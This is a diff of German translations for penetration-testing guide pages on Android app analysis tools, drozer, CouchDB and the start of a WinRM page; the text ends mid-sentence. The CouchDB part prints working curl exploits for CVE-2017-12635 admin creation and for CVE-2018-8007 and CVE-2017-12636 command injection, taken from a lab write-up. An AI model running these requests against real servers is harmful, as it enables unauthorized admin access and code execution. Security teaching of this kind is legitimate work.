pip3 install --user qark # --user is only needed if not using a virtualenv qark --apk path/to/my.apk @@ -615,7 +615,7 @@ reverse-apk relative/path/to/APP.apk ``` ### [SUPER Android Analyzer](https://github.com/SUPERAndroidAnalyzer/super) -SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln zur Erkennung dieser Schwachstellen. +SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen. Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen. @@ -629,9 +629,9 @@ super-analyzer {apk_file} StaCoAn ist ein **plattformübergreifendes** Tool, das Entwicklern, Bug-Bounty-Jägern und ethischen Hackern hilft, [statische Codeanalyse](https://en.wikipedia.org/wiki/Static_program_analysis) von mobilen Anwendungen durchzuführen. -Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen, und sie wird einen visuellen und tragbaren Bericht für Sie erstellen. Sie können die Einstellungen und Wortlisten anpassen, um ein individuelles Erlebnis zu erhalten. +Das Konzept besteht darin, dass Sie Ihre mobile Anwendungsdatei (eine .apk- oder .ipa-Datei) auf die StaCoAn-Anwendung ziehen und ablegen, und es wird ein visueller und tragbarer Bericht für Sie erstellt. Sie können die Einstellungen und Wortlisten anpassen, um ein individuelles Erlebnis zu erhalten. -Download[ neueste Version](https://github.com/vincentcox/StaCoAn/releases): +Laden Sie [die neueste Version](https://github.com/vincentcox/StaCoAn/releases) herunter: ``` ./stacoan ``` @@ -647,7 +647,7 @@ androbugs.exe -f [APK file] **Androwarn** ist ein Tool, dessen Hauptziel es ist, potenziell bösartiges Verhalten, das von einer Android-Anwendung entwickelt wurde, zu erkennen und den Benutzer zu warnen. -Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, dargestellt als **Smali**, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek. +Die Erkennung erfolgt durch die **statische Analyse** des Dalvik-Bytecodes der Anwendung, der als **Smali** dargestellt wird, mit der [`androguard`](https://github.com/androguard/androguard) Bibliothek. Dieses Tool sucht nach **häufigen Verhaltensweisen von "schlechten" Anwendungen** wie: Exfiltration von Telefondaten, Abfangen von Audio-/Video-Streams, Modifikation von PIM-Daten, Ausführung beliebigen Codes... ``` @@ -663,7 +663,7 @@ Es kann: - Java- und Smali-Code mit verschiedenen Tools extrahieren - APKs analysieren mit: [smalisca](https://github.com/dorneanu/smalisca), [ClassyShark](https://github.com/google/android-classyshark), [androbugs](https://github.com/AndroBugs/AndroBugs_Framework), [androwarn](https://github.com/maaaaz/androwarn), [APKiD](https://github.com/rednaga/APKiD) -- Private Informationen aus der APK mit regexps extrahieren. +- Private Informationen aus der APK mit Regexps extrahieren. - Das Manifest analysieren. - Gefundene Domains analysieren mit: [pyssltest](https://github.com/moheshmohan/pyssltest), [testssl](https://github.com/drwetter/testssl.sh) und [whatweb](https://github.com/urbanadventurer/WhatWeb) - APKs über [apk-deguard.com](http://www.apk-deguard.com) deobfuskieren @@ -686,11 +686,11 @@ ProGuard wird als Teil des Android SDK verteilt und läuft beim Erstellen der An Finden Sie eine Schritt-für-Schritt-Anleitung zur Deobfuskation der APK in [https://blog.lexfo.fr/dexguard.html](https://blog.lexfo.fr/dexguard.html) -(Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Betriebsmodus von Dexguard: +(Von dieser Anleitung) Das letzte Mal, als wir überprüft haben, war der Dexguard-Betriebsmodus: - eine Ressource als InputStream laden; - das Ergebnis an eine Klasse weitergeben, die von FilterInputStream erbt, um es zu entschlüsseln; -- einige nutzlose Obfuskation durchführen, um dem Reverse-Engineer ein paar Minuten Zeit zu stehlen; +- einige nutzlose Obfuskation durchführen, um ein paar Minuten Zeit eines Rückführers zu verschwenden; - das entschlüsselte Ergebnis an einen ZipInputStream weitergeben, um eine DEX-Datei zu erhalten; - schließlich die resultierende DEX als Ressource mit der Methode `loadDex` laden. diff --git a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md index 0401b8c13..1a6487388 100644 --- a/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md +++ b/src/mobile-pentesting/android-app-pentesting/drozer-tutorial/README.md @@ -2,8 +2,6 @@ {{#include ../../../banners/hacktricks-training.md}} - - ## APKs zum Testen - [Sieve](https://github.com/mwrlabs/drozer/releases/download/2.3.4/sieve.apk) (von mrwlabs) @@ -25,11 +23,11 @@ adb install drozer.apk ``` ### Starting the Server -Agent läuft auf Port 31415, wir müssen [port forward](https://en.wikipedia.org/wiki/Port_forwarding), um die Kommunikation zwischen dem Drozer Client und Agent herzustellen. Hier ist der Befehl dazu: +Agent läuft auf Port 31415, wir müssen [port forward](https://en.wikipedia.org/wiki/Port_forwarding) durchführen, um die Kommunikation zwischen dem Drozer Client und Agent herzustellen. Hier ist der Befehl dazu: ```bash adb forward tcp:31415 tcp:31415 ``` -Schließlich **starten** Sie die **Anwendung** und drücken Sie die Schaltfläche "**AN**" +Starten Sie schließlich die **Anwendung** und drücken Sie die Schaltfläche "**AN**" ![](<../../../images/image (459).png>) @@ -41,15 +39,15 @@ drozer console connect | **Befehle** | **Beschreibung** | | --------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- | -| **Help MODULE** | Zeigt die Hilfe des ausgewählten Moduls | +| **Help MODULE** | Zeigt die Hilfe des ausgewählten Moduls | | **list** | Zeigt eine Liste aller drozer-Module, die in der aktuellen Sitzung ausgeführt werden können. Dies blendet Module aus, für die Sie nicht die entsprechenden Berechtigungen haben. | -| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten. | +| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät im Kontext des Agenten. | | **clean** | Entfernt temporäre Dateien, die von drozer auf dem Android-Gerät gespeichert wurden. | | **load** | Lädt eine Datei mit drozer-Befehlen und führt sie nacheinander aus. | | **module** | Findet und installiert zusätzliche drozer-Module aus dem Internet. | -| **unset** | Entfernt eine benannte Variable, die drozer an alle Linux-Shells übergibt, die es startet. | +| **unset** | Entfernt eine benannte Variable, die drozer an alle Linux-Shells übergibt, die es startet. | | **set** | Speichert einen Wert in einer Variablen, die als Umgebungsvariable an alle von drozer gestarteten Linux-Shells übergeben wird. | -| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät, im Kontext des Agenten | +| **shell** | Startet eine interaktive Linux-Shell auf dem Gerät im Kontext des Agenten. | | **run MODULE** | Führt ein drozer-Modul aus | | **exploit** | Drozer kann Exploits erstellen, die im Gerät ausgeführt werden. `drozer exploit list` | | **payload** | Die Exploits benötigen eine Payload. `drozer payload list` | @@ -96,13 +94,13 @@ Attack Surface: is debuggable ``` - **Aktivitäten**: Vielleicht kannst du eine Aktivität starten und eine Art von Autorisierung umgehen, die dich daran hindern sollte, sie zu starten. -- **Inhaltsanbieter**: Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL Injection oder Path Traversal). +- **Inhaltsanbieter**: Vielleicht kannst du auf private Daten zugreifen oder eine Schwachstelle ausnutzen (SQL-Injection oder Pfad Traversierung). - **Dienste**: - **ist debuggable**: [Mehr erfahren](#is-debuggeable) ### Aktivitäten -Der Wert “android:exported” eines exportierten Aktivitätskomponenten ist im AndroidManifest.xml-Datei auf **“true”** gesetzt: +Der Wert des exportierten Aktivitätskomponenten “android:exported” ist in der AndroidManifest.xml-Datei auf **“true”** gesetzt: ```html @@ -130,7 +128,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity ``` ### Content Providers -Dieser Beitrag war so umfangreich, dass er hier nicht passt, also **kannst du** [**darauf auf seiner eigenen Seite hier zugreifen**](exploiting-content-providers.md). +Dieser Beitrag war zu groß, um hier zu sein, also **kannst du** [**darauf auf seiner eigenen Seite hier zugreifen**](exploiting-content-providers.md). ### Services @@ -138,7 +136,7 @@ Ein exportierter Dienst wird in der Manifest.xml deklariert: ```html ``` -Im Code **überprüfen** Sie die \*\*`handleMessage`\*\* Funktion, die die **Nachricht** **empfängt**: +Im Code **überprüfen** Sie die **`handleMessage`**-Funktion, die die **Nachricht** **empfängt**: ![](<../../../images/image (82).png>) @@ -179,7 +177,7 @@ run app.service.send com.mwr.example.sieve com.mwr.example.sieve.AuthService --m ### Broadcast-Empfänger -**Im Abschnitt über grundlegende Android-Informationen können Sie sehen, was ein Broadcast-Empfänger ist**. +**Im Abschnitt über grundlegende Informationen zu Android können Sie sehen, was ein Broadcast-Empfänger ist**. Nachdem Sie diese Broadcast-Empfänger entdeckt haben, sollten Sie **den Code** von ihnen überprüfen. Achten Sie besonders auf die **`onReceive`**-Funktion, da sie die empfangenen Nachrichten verarbeitet. @@ -216,7 +214,7 @@ app.broadcast.sniff Register a broadcast receiver that can sniff particu ``` #### Eine Nachricht senden -In diesem Beispiel wird der [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider missbraucht, um **eine beliebige SMS** an ein beliebiges nicht-premium Ziel **ohne Erlaubnis** des Benutzers zu senden. +In diesem Beispiel wird der [FourGoats apk](https://github.com/linkedin/qark/blob/master/tests/goatdroid.apk) Content Provider missbraucht, um **eine beliebige SMS** an ein nicht-premium Ziel **ohne Erlaubnis** des Benutzers zu senden. ![](<../../../images/image (415).png>) diff --git a/src/network-services-pentesting/5984-pentesting-couchdb.md b/src/network-services-pentesting/5984-pentesting-couchdb.md index 6a90dc67e..cf67f0f26 100644 --- a/src/network-services-pentesting/5984-pentesting-couchdb.md +++ b/src/network-services-pentesting/5984-pentesting-couchdb.md @@ -30,7 +30,7 @@ Dies sendet eine GET-Anfrage an die installierte CouchDB-Instanz. Die Antwort so {"couchdb":"Welcome","version":"2.0.0","vendor":{"name":"The Apache Software Foundation"}} ``` > [!NOTE] -> Beachten Sie, dass Sie, wenn Sie auf das Root von CouchDB zugreifen und eine `401 Unauthorized`-Antwort mit etwas wie `{"error":"unauthorized","reason":"Authentication required."}` erhalten, **nicht auf** das Banner oder einen anderen Endpunkt zugreifen können. +> Beachten Sie, dass Sie, wenn Sie auf die Wurzel von couchdb zugreifen und eine `401 Unauthorized`-Antwort mit etwas wie `{"error":"unauthorized","reason":"Authentication required."}` erhalten, **nicht auf** das Banner oder einen anderen Endpunkt zugreifen können. ### Info Enumeration @@ -38,20 +38,20 @@ Dies sind die Endpunkte, auf die Sie mit einer **GET**-Anfrage zugreifen und ein - **`/_active_tasks`** Liste der laufenden Aufgaben, einschließlich des Aufgabentyps, Namens, Status und Prozess-ID. - **`/_all_dbs`** Gibt eine Liste aller Datenbanken in der CouchDB-Instanz zurück. -- \*\*`/_cluster_setup`\*\* Gibt den Status des Knotens oder Clusters gemäß dem Cluster-Setup-Assistenten zurück. +- **`/_cluster_setup`** Gibt den Status des Knotens oder Clusters gemäß dem Cluster-Setup-Assistenten zurück. - **`/_db_updates`** Gibt eine Liste aller Datenbankereignisse in der CouchDB-Instanz zurück. Die Existenz der `_global_changes`-Datenbank ist erforderlich, um diesen Endpunkt zu verwenden. - **`/_membership`** Zeigt die Knoten an, die Teil des Clusters sind, als `cluster_nodes`. Das Feld `all_nodes` zeigt alle Knoten an, die dieser Knoten kennt, einschließlich derjenigen, die Teil des Clusters sind. -- **`/_scheduler/jobs`** Liste der Replikationsjobs. Jede Jobbeschreibung enthält Informationen zu Quelle und Ziel, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge. +- **`/_scheduler/jobs`** Liste der Replikationsjobs. Jede Jobbeschreibung enthält Quell- und Zielinformationen, Replikations-ID, eine Historie der letzten Ereignisse und einige andere Dinge. - **`/_scheduler/docs`** Liste der Replikationsdokumentzustände. Enthält Informationen über alle Dokumente, auch in `completed` und `failed` Zuständen. Für jedes Dokument werden die Dokument-ID, die Datenbank, die Replikations-ID, Quelle und Ziel sowie andere Informationen zurückgegeben. - **`/_scheduler/docs/{replicator_db}`** - **`/_scheduler/docs/{replicator_db}/{docid}`** -- **`/_node/{node-name}`** Der `/_node/{node-name}`-Endpunkt kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist besonders nützlich, wenn Sie `/_node/_local` aufrufen, um diese Informationen abzurufen. +- **`/_node/{node-name}`** Der `/_node/{node-name}`-Endpunkt kann verwendet werden, um den Erlang-Knotennamen des Servers zu bestätigen, der die Anfrage verarbeitet. Dies ist am nützlichsten, wenn Sie auf `/_node/_local` zugreifen, um diese Informationen abzurufen. - **`/_node/{node-name}/_stats`** Die `_stats`-Ressource gibt ein JSON-Objekt zurück, das die Statistiken für den laufenden Server enthält. Der Literalstring `_local` dient als Alias für den lokalen Knotennamen, sodass für alle Statistiken-URLs `{node-name}` durch `_local` ersetzt werden kann, um mit den Statistiken des lokalen Knotens zu interagieren. - **`/_node/{node-name}/_system`** Die \_systemressource gibt ein JSON-Objekt zurück, das verschiedene systemweite Statistiken für den laufenden Server enthält. Sie können \_\_`_local` als {node-name} verwenden, um aktuelle Knoteninformationen zu erhalten. - **`/_node/{node-name}/_restart`** - **`/_up`** Bestätigt, dass der Server aktiv, betriebsbereit und bereit ist, auf Anfragen zu reagieren. Wenn [`maintenance_mode`](https://docs.couchdb.org/en/latest/config/couchdb.html#couchdb/maintenance_mode) `true` oder `nolb` ist, gibt der Endpunkt eine 404-Antwort zurück. -- \*\*`/_uuids`\*\* Fordert eine oder mehrere Universally Unique Identifiers (UUIDs) von der CouchDB-Instanz an. -- \*\*`/_reshard`\*\* Gibt eine Anzahl von abgeschlossenen, fehlgeschlagenen, laufenden, gestoppten und insgesamt Jobs sowie den Status des Reshardings im Cluster zurück. +- **`/_uuids`** Fordert eine oder mehrere Universally Unique Identifiers (UUIDs) von der CouchDB-Instanz an. +- **`/_reshard`** Gibt eine Anzahl von abgeschlossenen, fehlgeschlagenen, laufenden, gestoppten und insgesamt Jobs sowie den Status des Reshardings im Cluster zurück. Weitere interessante Informationen können wie hier erklärt extrahiert werden: [https://lzone.de/cheat-sheet/CouchDB](https://lzone.de/cheat-sheet/CouchDB) @@ -59,7 +59,7 @@ Weitere interessante Informationen können wie hier erklärt extrahiert werden: ``` curl -X GET http://IP:5984/_all_dbs ``` -Wenn diese Anfrage **mit einem 401 Unauthorisiert** antwortet, benötigen Sie **gültige Anmeldeinformationen**, um auf die Datenbank zuzugreifen: +Wenn diese Anfrage **mit einem 401 Unauthorised** antwortet, benötigen Sie **gültige Anmeldeinformationen**, um auf die Datenbank zuzugreifen: ``` curl -X GET http://user:password@IP:5984/_all_dbs ``` @@ -71,7 +71,7 @@ Dies ist ein **Beispiel** für eine CouchDB **Antwort**, wenn Sie **genug Berech ``` ### Datenbankinformationen -Sie können einige Datenbankinformationen (wie die Anzahl der Dateien und deren Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen: +Sie können einige Datenbankinformationen (wie die Anzahl der Dateien und Größen) abrufen, indem Sie auf den Datenbanknamen zugreifen: ```bash curl http://IP:5984/ curl http://localhost:5984/simpsons @@ -80,7 +80,7 @@ curl http://localhost:5984/simpsons ``` ### **Dokumentenliste** -Liste jeden Eintrag in einer Datenbank auf +Listet jeden Eintrag in einer Datenbank auf ```bash curl -X GET http://IP:5984/{dbname}/_all_docs curl http://localhost:5984/simpsons/_all_docs @@ -106,7 +106,7 @@ curl http://localhost:5984/simpsons/f0042ac3dc4951b51f056467a1000dd9 ``` ## CouchDB Privilegieneskalation [CVE-2017-12635](https://cve.mitre.org/cgi-bin/cvename.cgi?name=2017-12635) -Dank der Unterschiede zwischen Erlang- und JavaScript-JSON-Parsern konnten Sie **einen Admin-Benutzer** mit den Anmeldeinformationen `hacktricks:hacktricks` mit der folgenden Anfrage erstellen: +Dank der Unterschiede zwischen Erlang- und JavaScript-JSON-Parsern könnten Sie **einen Admin-Benutzer** mit den Anmeldeinformationen `hacktricks:hacktricks` mit der folgenden Anfrage erstellen: ```bash curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[],"password":"hacktricks"}' localhost:5984/_users/org.couchdb.user:hacktricks -H "Content-Type:application/json" ``` @@ -118,22 +118,22 @@ curl -X PUT -d '{"type":"user","name":"hacktricks","roles":["_admin"],"roles":[] Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -In der CouchDB-Dokumentation, insbesondere im Abschnitt über die Cluster-Einrichtung ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), wird die Verwendung von Ports durch CouchDB im Clustermodus besprochen. Es wird erwähnt, dass, wie im Standalone-Modus, der Port `5984` verwendet wird. Zusätzlich ist der Port `5986` für node-lokale APIs vorgesehen, und wichtig ist, dass Erlang den TCP-Port `4369` für den Erlang Port Mapper Daemon (EPMD) benötigt, um die Kommunikation zwischen den Knoten innerhalb eines Erlang-Clusters zu erleichtern. Diese Einrichtung bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist. +In der CouchDB-Dokumentation, insbesondere im Abschnitt über die Cluster-Einrichtung ([link](http://docs.couchdb.org/en/stable/cluster/setup.html#cluster-setup)), wird die Verwendung von Ports durch CouchDB im Clustermodus besprochen. Es wird erwähnt, dass, wie im Standalone-Modus, der Port `5984` verwendet wird. Darüber hinaus ist der Port `5986` für node-lokale APIs vorgesehen, und wichtig ist, dass Erlang den TCP-Port `4369` für den Erlang Port Mapper Daemon (EPMD) benötigt, um die Kommunikation zwischen den Knoten innerhalb eines Erlang-Clusters zu erleichtern. Dieses Setup bildet ein Netzwerk, in dem jeder Knoten mit jedem anderen Knoten verbunden ist. -Ein wichtiger Sicherheitshinweis wird bezüglich des Ports `4369` hervorgehoben. Wenn dieser Port über das Internet oder ein untrusted Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem einzigartigen Identifikator ab, der als "Cookie" bekannt ist. Dieses Cookie fungiert als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste das Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsrahmen des Systems hinweist. +Eine wichtige Sicherheitswarnung wird in Bezug auf den Port `4369` hervorgehoben. Wenn dieser Port über das Internet oder ein untrusted Netzwerk zugänglich gemacht wird, hängt die Sicherheit des Systems stark von einem einzigartigen Identifikator ab, der als "Cookie" bekannt ist. Dieses Cookie fungiert als Schutzmaßnahme. Zum Beispiel könnte in einer gegebenen Prozessliste das Cookie mit dem Namen "monster" beobachtet werden, was auf seine operative Rolle im Sicherheitsrahmen des Systems hinweist. ``` www-data@canape:/$ ps aux | grep couchdb root 744 0.0 0.0 4240 640 ? Ss Sep13 0:00 runsv couchdb root 811 0.0 0.0 4384 800 ? S Sep13 0:00 svlogd -tt /var/log/couchdb homer 815 0.4 3.4 649348 34524 ? Sl Sep13 5:33 /home/homer/bin/../erts-7.3/bin/beam -K true -A 16 -Bd -- -root /home/homer/b ``` -Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein spezieller Abschnitt für weiterführende Lektüre zur Verfügung. Er beschreibt die Methoden zur unbefugten Nutzung von Erlang-Cookies, um Kontrolle über Systeme zu erlangen. Sie können [**den detaillierten Leitfaden zum Missbrauch von Erlang-Cookies für RCE hier erkunden**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). +Für diejenigen, die verstehen möchten, wie dieses "Cookie" für Remote Code Execution (RCE) im Kontext von Erlang-Systemen ausgenutzt werden kann, steht ein spezieller Abschnitt für weiterführende Informationen zur Verfügung. Er beschreibt die Methoden zur unbefugten Nutzung von Erlang-Cookies, um Kontrolle über Systeme zu erlangen. Sie können [**den detaillierten Leitfaden zum Missbrauch von Erlang-Cookies für RCE hier erkunden**](4369-pentesting-erlang-port-mapper-daemon-epmd.md#erlang-cookie-rce). ### **Ausnutzung von CVE-2018-8007 durch Modifikation von local.ini** Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Eine kürzlich offengelegte Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und zeigte, dass die Ausnutzung Schreibberechtigungen für die Datei `local.ini` erfordert. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das ursprüngliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die Datei `local.ini` zu gewähren, um Erkundungszwecke zu ermöglichen. Detaillierte Schritte und Codebeispiele sind unten aufgeführt, die den Prozess demonstrieren. +Eine kürzlich offengelegte Schwachstelle, CVE-2018-8007, die Apache CouchDB betrifft, wurde untersucht und zeigte, dass die Ausnutzung Schreibberechtigungen für die Datei `local.ini` erfordert. Obwohl dies aufgrund von Sicherheitsbeschränkungen nicht direkt auf das ursprüngliche Zielsystem anwendbar ist, wurden Änderungen vorgenommen, um Schreibzugriff auf die Datei `local.ini` zu gewähren, um Erkundungszwecke zu erfüllen. Detaillierte Schritte und Codebeispiele sind unten aufgeführt, die den Prozess demonstrieren. Zuerst wird die Umgebung vorbereitet, indem sichergestellt wird, dass die Datei `local.ini` beschreibbar ist, was durch Auflisten der Berechtigungen überprüft wird: ```bash @@ -147,7 +147,7 @@ Um die Schwachstelle auszunutzen, wird ein curl-Befehl ausgeführt, der die `cor ```bash www-data@canape:/dev/shm$ curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/cors/origins' -H "Accept: application/json" -H "Content-Type: application/json" -d "0xdf\n\n[os_daemons]\ntestdaemon = /usr/bin/touch /tmp/0xdf" ``` -Die nachfolgende Überprüfung zeigt die injizierte Konfiguration in `local.ini` und vergleicht sie mit einem Backup, um die Änderungen hervorzuheben: +Die nachfolgende Überprüfung zeigt die injizierte Konfiguration in `local.ini`, indem sie mit einem Backup verglichen wird, um die Änderungen hervorzuheben: ```bash root@canape:/home/homer/etc# diff local.ini local.ini.bk 119,124d118 @@ -174,7 +174,7 @@ Für weitere Details zu CVE-2018-8007 siehe die Mitteilung von mdsec: [CVE-2018- Beispiel [von hier](https://0xdf.gitlab.io/2018/09/15/htb-canape.html). -Eine Schwachstelle, bekannt als CVE-2017-12636, wurde untersucht, die die Codeausführung über den CouchDB-Prozess ermöglicht, obwohl spezifische Konfigurationen deren Ausnutzung verhindern können. Trotz zahlreicher Proof of Concept (POC)-Referenzen, die online verfügbar sind, sind Anpassungen erforderlich, um die Schwachstelle in der CouchDB-Version 2 auszunutzen, die sich von der häufig angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Abfrage-Server-Pfades zu bestätigen: +Eine Schwachstelle, bekannt als CVE-2017-12636, wurde untersucht, die die Codeausführung über den CouchDB-Prozess ermöglicht, obwohl spezifische Konfigurationen deren Ausnutzung verhindern können. Trotz zahlreicher Proof of Concept (POC)-Referenzen, die online verfügbar sind, sind Anpassungen erforderlich, um die Schwachstelle in der CouchDB-Version 2 auszunutzen, die sich von der häufig angegriffenen Version 1.x unterscheidet. Die ersten Schritte bestehen darin, die CouchDB-Version zu überprüfen und das Fehlen des erwarteten Abfrage-Server-Pfads zu bestätigen: ```bash curl http://localhost:5984 curl http://0xdf:df@localhost:5984/_config/query_servers/ @@ -184,7 +184,7 @@ Um die CouchDB-Version 2.0 zu unterstützen, wird ein neuer Pfad verwendet: curl 'http://0xdf:df@localhost:5984/_membership' curl http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers ``` -Versuche, einen neuen Abfrage-Server hinzuzufügen und zu aktivieren, stießen auf berechtigungsbezogene Fehler, wie aus der folgenden Ausgabe ersichtlich: +Versuche, einen neuen Abfrage-Server hinzuzufügen und zu starten, stießen auf berechtigungsbezogene Fehler, wie aus der folgenden Ausgabe ersichtlich: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` @@ -197,7 +197,7 @@ Nachfolgende Versuche, den Abfrageserver hinzuzufügen, waren erfolgreich, wie d ```bash curl -X PUT 'http://0xdf:df@localhost:5984/_node/couchdb@localhost/_config/query_servers/cmd' -d '"/sbin/ifconfig > /tmp/df"' ``` -Der Prozess setzte sich mit der Erstellung einer Datenbank und eines Dokuments fort, gefolgt von einem Versuch, Code über eine benutzerdefinierte Ansicht, die auf den neu hinzugefügten Abfrage-Server abgebildet ist, auszuführen: +Der Prozess setzte sich mit der Erstellung einer Datenbank und eines Dokuments fort, gefolgt von dem Versuch, Code über eine benutzerdefinierte Ansicht, die auf den neu hinzugefügten Abfrageserver abgebildet ist, auszuführen: ```bash curl -X PUT 'http://0xdf:df@localhost:5984/df' curl -X PUT 'http://0xdf:df@localhost:5984/df/zero' -d '{"_id": "HTP"}' @@ -206,7 +206,7 @@ curl -X PUT 'http://0xdf:df@localhost:5984/df/_design/zero' -d '{"_id": "_design Eine [**Zusammenfassung**](https://github.com/carlospolop/hacktricks/pull/116/commits/e505cc2b557610ef5cce09df6a14b10caf8f75a0) mit einer alternativen Payload bietet weitere Einblicke in die Ausnutzung von CVE-2017-12636 unter bestimmten Bedingungen. **Nützliche Ressourcen** zur Ausnutzung dieser Schwachstelle sind: - [POC Exploit-Code](https://raw.githubusercontent.com/vulhub/vulhub/master/couchdb/CVE-2017-12636/exp.py) -- [Eintrag in der Exploit-Datenbank](https://www.exploit-db.com/exploits/44913/) +- [Exploit-Datenbankeintrag](https://www.exploit-db.com/exploits/44913/) ## Shodan diff --git a/src/network-services-pentesting/5985-5986-pentesting-winrm.md b/src/network-services-pentesting/5985-5986-pentesting-winrm.md index e27cdf9c1..ba69b729d 100644 --- a/src/network-services-pentesting/5985-5986-pentesting-winrm.md +++ b/src/network-services-pentesting/5985-5986-pentesting-winrm.md @@ -4,9 +4,9 @@ ## WinRM -[Windows Remote Management (WinRM)]() wird als **Protokoll von Microsoft** hervorgehoben, das die **Fernverwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als HTTP-basiertes Interface für WMI-Operationen. +[Windows Remote Management (WinRM)]() wird als ein **Protokoll von Microsoft** hervorgehoben, das die **Fernverwaltung von Windows-Systemen** über HTTP(S) ermöglicht und dabei SOAP nutzt. Es wird grundlegend von WMI unterstützt und präsentiert sich als eine HTTP-basierte Schnittstelle für WMI-Operationen. -Die Anwesenheit von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM aktiv ist, wird empfohlen, die Öffnung bestimmter Ports zu überprüfen: +Das Vorhandensein von WinRM auf einem Rechner ermöglicht eine unkomplizierte Fernadministration über PowerShell, ähnlich wie SSH für andere Betriebssysteme funktioniert. Um festzustellen, ob WinRM betriebsbereit ist, wird empfohlen, das Öffnen bestimmter Ports zu überprüfen: - **5985/tcp (HTTP)** - **5986/tcp (HTTPS)** @@ -15,22 +15,22 @@ Ein offener Port aus der obigen Liste zeigt an, dass WinRM eingerichtet wurde, w ### **Initiierung einer WinRM-Sitzung** -Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting` cmdlet zum Einsatz, das den Computer so einrichtet, dass er Remote-PowerShell-Befehle akzeptiert. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und jeden Host als vertrauenswürdig zu kennzeichnen: -```powershell +Um PowerShell für WinRM zu konfigurieren, kommt Microsofts `Enable-PSRemoting` Cmdlet zum Einsatz, das den Computer so einrichtet, dass er Remote-PowerShell-Befehle akzeptiert. Mit erhöhtem PowerShell-Zugriff können die folgenden Befehle ausgeführt werden, um diese Funktionalität zu aktivieren und jeden Host als vertrauenswürdig zu kennzeichnen: +```bash Enable-PSRemoting -Force Set-Item wsman:\localhost\client\trustedhosts * ``` -Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der aufgrund seiner Auswirkungen sorgfältig überlegt werden muss. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern. +Dieser Ansatz beinhaltet das Hinzufügen eines Wildcards zur `trustedhosts`-Konfiguration, ein Schritt, der sorgfältige Überlegungen aufgrund seiner Implikationen erfordert. Es wird auch angemerkt, dass es notwendig sein könnte, den Netzwerktyp von "Öffentlich" auf "Arbeit" auf dem Rechner des Angreifers zu ändern. Darüber hinaus kann WinRM **ferngesteuert aktiviert** werden, indem der `wmic`-Befehl verwendet wird, wie folgt demonstriert: -```powershell +```bash wmic /node: process call create "powershell enable-psremoting -force" ``` Diese Methode ermöglicht die Remote-Einrichtung von WinRM und verbessert die Flexibilität bei der Verwaltung von Windows-Maschinen aus der Ferne. ### Testen, ob konfiguriert -Um die Einrichtung Ihrer Angriffsmaschine zu überprüfen, wird der Befehl `Test-WSMan` verwendet, um zu prüfen, ob das Ziel WinRM ordnungsgemäß konfiguriert hat. Durch die Ausführung dieses Befehls sollten Sie Details zur Protokollversion und wsmid erhalten, die auf eine erfolgreiche Konfiguration hinweisen. Nachfolgend finden Sie Beispiele, die die erwartete Ausgabe für ein konfiguriertes Ziel im Vergleich zu einem nicht konfigurierten 